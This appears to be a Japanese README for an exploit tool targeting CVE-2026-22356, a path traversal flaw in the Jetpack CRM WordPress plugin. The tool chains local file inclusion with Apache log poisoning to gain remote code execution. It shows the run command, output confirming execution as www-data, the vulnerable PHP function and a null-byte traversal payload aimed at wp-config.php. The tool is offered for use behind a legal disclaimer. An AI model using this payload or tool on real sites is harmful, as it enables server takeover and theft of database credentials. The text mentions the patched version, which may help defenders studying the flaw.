CVE-2026-22356: Jetpack CRM パストラバーサル脆弱性およびRCE

警告: このツールは認可されたテスト環境でのみ使用してください。違法な使用については、すべてユーザーの責任となります。

📥 要件

pip3 install requests urllib3

$ python3 exploit.py https://example.com --rce --cmd "id"
[+] Target is VULNERABLE to LFI!
[*] Attempting Log Poisoning for RCE...
[*] Searching for accessible log files...
[*] Trying: ../../../../var/log/apache2/access.log
[+] Found accessible log file: ../../../../var/log/apache2/access.log
[*] Poisoning log file: ../../../../var/log/apache2/access.log
[+] Payload injected into log file.
[*] Executing command: id

[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

function jpcrm_load_admin_page( $page_name, $alt_path = ZEROBSCRM_PATH ) {
    $target_file = $alt_path . "admin/$page_name.page.php";
    if ( file_exists( $target_file ) ) {
        require_once $target_file;
    }
}

このコードでは、$page_name は検証を経ずに直接使用されるため、攻撃者は page=../../../wp-config.php%00 を送信することで require_once("admin/../../../wp-config.php%00.page.php") の呼び出しを引き起こす可能性があります。PHP が null バイトをファイル名の終端として解釈すると、wp-config.php ファイルが実行されます。

6.7.1 バージョンでは、このコードは realpath() と strpos() のチェックを追加して修正されました。

このドキュメントは、CVE-2026-22356 の脆弱性を理解し、認可されたテストで使用するために用意されています。法令に違反する使用は、すべてユーザーの責任となります。

CVE-2026-22356

人気

CVE-2026-22356: Jetpack CRM パストラバーサル脆弱性およびRCE

📥 要件